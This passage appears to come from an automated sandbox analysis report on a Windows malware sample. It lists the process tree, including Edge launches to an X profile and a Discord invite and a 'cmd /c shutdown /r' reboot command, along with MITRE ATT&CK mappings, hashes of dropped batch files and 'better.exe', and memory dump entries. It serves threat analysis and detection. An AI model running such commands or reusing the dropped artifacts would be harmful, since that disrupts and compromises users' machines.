    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://x.com/Lose2hxm4to
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb4e713cb8,0x7ffb4e713cc8,0x7ffb4e713cd8
      4⤵
      PID:2600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1904 /prefetch:2
      4⤵
      PID:3880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 /prefetch:3
      4⤵
      PID:2692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2584 /prefetch:8
      4⤵
      PID:4648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
      4⤵
      PID:4640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
      4⤵
      PID:1216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3792 /prefetch:1
      4⤵
      PID:4476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
      4⤵
      PID:3180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4576 /prefetch:1
      4⤵
      PID:644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5144 /prefetch:8
      4⤵
      PID:2564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5168 /prefetch:8
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:4212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
      4⤵
      PID:3272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5336 /prefetch:1
      4⤵
      PID:4464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:1
      4⤵
      PID:3052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
      4⤵
      PID:5124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4948 /prefetch:1
      4⤵
      PID:5344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1868,14384074123957248786,15709817668960343453,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6760 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5896
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start https://discord.gg/8eGVMdaD
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/8eGVMdaD
    3⤵
    PID:1100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb4e713cb8,0x7ffb4e713cc8,0x7ffb4e713cd8
      4⤵
      PID:1732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1904,4499189108395164072,10293167770821073060,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1916 /prefetch:2
      4⤵
      PID:4556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1904,4499189108395164072,10293167770821073060,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c shutdown /r
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5676
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5732

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2000

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4936

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:964

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:4408

C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:4536

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:972

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:3040

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39e7855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Client.exe.log

Filesize
2KB

MD5
15eab799098760706ed95d314e75449d

SHA1
273fb07e40148d5c267ca53f958c5075d24c4444

SHA256
45030bd997f50bb52c481f7bc86fac5f375d08911bcc106b98d9d8f0c2ce9778

SHA512
50c125e2a98740db0a0122d7f4de97c50d84623e800b3d3e173049c8e28ff0fbe4add7677bc56cb2228f78ed17522f67ae8f1b85f62824012414ce38ce0b500c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
02a4b762e84a74f9ee8a7d8ddd34fedb

SHA1
4a870e3bd7fd56235062789d780610f95e3b8785

SHA256
366e497233268d7cdf699242e4b2c7ecc1999d0a84e12744f5af2b638e9d86da

SHA512
19028c45f2e05a0cb32865a2554513c1536bf9da63512ff4e964c94a3e171f373493c7787d2d2a6df8012648bbefab63a9de924f119c50c39c727cf81bdc659f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
826c7cac03e3ae47bfe2a7e50281605e

SHA1
100fbea3e078edec43db48c3312fbbf83f11fca0

SHA256
239b1d7cc6f76e1d1832b0587664f114f38a21539cb8548e25626ed5053ea2ab

SHA512
a82f3c817a6460fd8907a4ac6ab37c2129fb5466707edcfb565c255680d7f7212a5669fe2a42976150f16e4e549ea8310078f22ed35514ee1b7b45b46d8cc96e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
53f03d7c6dea57875c9e4a5182def698

SHA1
0be020236a0450973857dfcd7daf320991bf80b3

SHA256
a588ebb5af35aff811de041f9ae07edf51afc0c736eec4365946637d106b66b9

SHA512
0c283811c991255863bbc5f7bde4b855e2c71d4e45e15588f4626d514a81c7739d260b3bd4158d6494283c8efe620988164cfca9d360db58d11572be408bc2a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
223627fc2dd674f04e9ffc70bdff93a3

SHA1
6a18bd18e2885e558ffb9f467cceb09309b3433b

SHA256
174272f13fa51b5eabafa37a1f6d56ae536f17070b44d36c0865336dca5def4e

SHA512
fcd33d9710c06a667c52246e0ae6ca845af40b3475089eb153f3bdc44abbcceeeccc6854aea1c94c16f2a4c9282ee3039a99c33647cf2b66207ee2fbd82b90b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
1a2d397962c04561e020235ffbbc662b

SHA1
77f6e5d94fbf91fb26950b30021722064d588a93

SHA256
807c8fd39126502f5c61720e4dfa089514a8df0df4dec96c1a4c9448df608d04

SHA512
560bd412213918028b3da5d9d9a861f94515a8a5e02d57ce0b6f22cbb89c7879459522e22891ce9c10145e45183fb7e7c60b763e79686d1211c67f387600c67d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
18fec24398f5bcf03999f7c07956cb70

SHA1
b68fc870c8917b252b483228c5cdd1c537d5a576

SHA256
b9bb192c2464bbd361d21c050a3ac453da329492d334b8ba777791592a10034f

SHA512
cb7c97190d35c512160ea9d6c260e428620bc6bd617f8c54aa5146b6f0a21a532775496f933cec4b378d32ceb6df6a0c038e884605ac57b597122411d2bda4ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
9569f884c7eb6065114727e5048024d4

SHA1
142b0ee452dbb0e4c0b6c35382ab74e81b6e631b

SHA256
d55dd01aa6d0b5c27ca69307915bfa2f2707a54d703575454532284438d63d4f

SHA512
f18e2f61d08fd9f9258689ddb51c16e3bcdcf1793c6af9d6c9fcb7e4c5333265821dba9635f5fc282b7354f42c5af642e43aac4d09b5e156932de875a2df9a6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
17b3fddd933531b62c2bf80ff73e5c11

SHA1
fc334a29c8a5550272df6ee9b54adda2603cc5a1

SHA256
9dbb8ad92b54ec1a36656795ff94f8a48fe3046f9743a534fd8cf80f999c2d46

SHA512
8f342fa1b841d5cbdda9bcbb1b6c5ceb70392ddafcea7490f8e52dfe5adcecc03012e5881c16aae6f116836ff6addf4558495e39bedff8e2bbd2e115f4a45f08

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
ef4d6fae1af3a4fa5c19f2a5a548afe0

SHA1
016b95fba4eba280dddb040727532dd8a95d7ed1

SHA256
cc9d293c4fee6c05dfde33810ff97be38ea8177beac450d03269872181192bc6

SHA512
446bad5ddb9dff14a5355b5f1b9edf9ef49c6e1cfb87e1cbc7f5a0f14831194a309ad3b39a7603220b10a140edc648faff647f32f3bab419f006c339bf8b6d68

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\57d07575-c7b7-4646-87fb-8b53aa4617b8.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\3v9FiJAiRCNj.bat

Filesize
196B

MD5
1f3fc3b1a11ce27638cfb09d76748c36

SHA1
5500a720f0bc308379041f277dbaa52bb4148274

SHA256
3ff770ce3159d83283058ed2cc813126be63c4857a877953061c00912ff0ff58

SHA512
ce901475986f6ab28a66aca59eb2fe4d9acfa3969b45a620d96794ffebfdac7a79ff48c91a739d7cac5b0d981781346092f6f523c4f0cad9d0ec0c7863b3ab42

Download Submit
C:\Users\Admin\AppData\Local\Temp\8yWOT342Wa0I.bat

Filesize
196B

MD5
06f5116be99f6c91e3428d2b2784c3d1

SHA1
9b41776dd4aa725fcda0fb3e57f081cec58acd90

SHA256
c894f576665a42a35e38a3b5e1e10ab04d2bc1be8a39664318ce439e83c2fff0

SHA512
76c2a84d0b127bfb674c2b7d7163adf0cf6683be9f37dd12c5303a63e9c99e5d5ac6e8dc02d9d7168534ffcc5c2f523b27d3a632101a7f3b557c1f8be3f8b0c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\better.exe

Filesize
3.1MB

MD5
47ec64e3d129b23c44f417cbc2a07aa7

SHA1
e65fbcf69e6e808ebe7bc9b13e483c5fc80d5fa2

SHA256
ccb17adb4b57a95a61acb010c01da98dc150be67a85df2ab40ba9d1f078f8373

SHA512
52247a235b708e98efcf977fd109344e16df9c5a9f13ad5afd395df3f009d9ee6edf81fef9d74a31a9fdec1f851e61642912eb9bc8384b39042b70f9d8b7d510

Download Submit
C:\Users\Admin\AppData\Local\Temp\PxoV6kOhZOxz.bat

Filesize
196B

MD5
5cfd5ace1ddcad4f92d623f23fc7ed98

SHA1
22eebba99400687fde47c5e28038e51934609396

SHA256
fd6be618f7e4f0d6a6a8d76b6b0971ccaad0b58080a5293bbc28dc36c71e553f

SHA512
55171a2d3da217cf6dce17ea1fb6a1113be3f007063dbf96a5a003abab94df82f6c6ec91eb15901f972f8ae922263eabe6af508204a31d661c9fc084c9e9921d

Download Submit
C:\Users\Admin\AppData\Local\Temp\d8pvrSCKeOpZ.bat

Filesize
196B

MD5
c83dc4defe1076997d370dddddee7db5

SHA1
1ef898548627346c30e7b5745bb1162cf2189f69

SHA256
06963169f2d4f8910b3ac1dac05b10a97430df7e2d427fd9b8a5410bc5304e1a

SHA512
d0f188ca53e903996ac5f9b374df424d424af33165cba8ffc0b84532e6616fde9de3b9be5e94846e58dce6023c693c3f50ab7152f9001463addaabd573063c78

Download Submit
C:\Users\Admin\AppData\Local\Temp\rGOCJRmEy1WZ.bat

Filesize
196B

MD5
7bed1f11300ba529b54cc5e9d8b4eac0

SHA1
68bb1400d352489c22c1420669c3706b24a74029

SHA256
2934b9848fb0421d3bc7833a2fefcaa38a652c768314baa6d2cdbb4877b43181

SHA512
8064d975d967325ad73f9534ca74b664d85fc761a1dc4c42a174913c69d80d4741a8789b724e0dfa914878e54c47f6eb07ffc42b73ff9ed07a82b722dd610a5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ugJeFIzvxXAu.bat

Filesize
196B

MD5
8a41fafe0901d4f91510e02f1e647345

SHA1
fe9d4cbb92410b61de34dcf16abd5570acb36fbb

SHA256
d2bb66ce889bebd513187180dcdd6a5d3268cb259fd3f8616f81a92dbc02d556

SHA512
dbc58745549325577bb1c8ba56192b667b3b75c871b863ad53612591370e075ba62c58147c0216f99c014fa0ad2d1dbe75fb90b3daaaec8c2d206dad93dc14fb

Download Submit
memory/2508-57-0x00000000009C0000-0x0000000000CE4000-memory.dmp

Filesize
3.1MB

Download
memory/3908-64-0x000000001C520000-0x000000001C5D2000-memory.dmp

Filesize
712KB

Download
memory/3908-63-0x000000001C410000-0x000000001C460000-memory.dmp

Filesize
320KB

Download
memory/3932-40-0x0000000006F10000-0x0000000006F22000-memory.dmp

Filesize
72KB

Download
memory/3932-36-0x0000000006F90000-0x0000000006FA5000-memory.dmp

Filesize
84KB

Download
memory/3932-53-0x0000000009E70000-0x0000000009E98000-memory.dmp

Filesize
160KB

Download
memory/3932-50-0x0000000009E70000-0x0000000009E98000-memory.dmp

Filesize
160KB

Download
memory/3932-45-0x0000000009D60000-0x0000000009D83000-memory.dmp

Filesize
140KB

Download
memory/3932-24-0x0000000009DB0000-0x0000000009E64000-memory.dmp

Filesize
720KB

Download
memory/3932-28-0x0000000006F50000-0x0000000006F8A000-memory.dmp

Filesize
232KB

Download
memory/3932-32-0x0000000006F30000-0x0000000006F4F000-memory.dmp

Filesize
124KB

Download
memory/3932-43-0x0000000006F10000-0x0000000006F22000-memory.dmp

Filesize
72KB

Download
memory/3932-71-0x0000000000CB3000-0x0000000000CB4000-memory.dmp

Filesize
4KB

Download
memory/3932-27-0x0000000009DB0000-0x0000000009E64000-memory.dmp

Filesize
720KB

Download
memory/3932-31-0x0000000006F50000-0x0000000006F8A000-memory.dmp

Filesize
232KB

Download
memory/3932-35-0x0000000006F30000-0x0000000006F4F000-memory.dmp

Filesize
124KB

Download
memory/3932-48-0x0000000009D60000-0x0000000009D83000-memory.dmp

Filesize
140KB

Download
memory/3932-39-0x0000000006F90000-0x0000000006FA5000-memory.dmp

Filesize
84KB

Download
memory/3932-0-0x0000000000CB3000-0x0000000000CB4000-memory.dmp

Filesize
4KB

Download
memory/3932-23-0x00000000090C0000-0x00000000090CC000-memory.dmp

Filesize
48KB

Download
memory/3932-16-0x00000000090D0000-0x00000000090D6000-memory.dmp

Filesize
24KB

Download
memory/3932-19-0x00000000090D0000-0x00000000090D6000-memory.dmp

Filesize
24KB

Download
memory/3932-20-0x00000000090C0000-0x00000000090CC000-memory.dmp

Filesize
48KB

Download
memory/3932-9-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/3932-12-0x0000000006D60000-0x0000000006D71000-memory.dmp

Filesize
68KB

Download
memory/3932-8-0x0000000009100000-0x0000000009CE8000-memory.dmp

Filesize
11.9MB

Download
memory/3932-15-0x0000000006D60000-0x0000000006D71000-memory.dmp

Filesize
68KB

Download
memory/3932-5-0x0000000009100000-0x0000000009CE8000-memory.dmp

Filesize
11.9MB

Download
memory/3932-4-0x0000000007510000-0x0000000007E95000-memory.dmp

Filesize
9.5MB

Download
memory/3932-1-0x0000000007510000-0x0000000007E95000-memory.dmp

Filesize
9.5MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads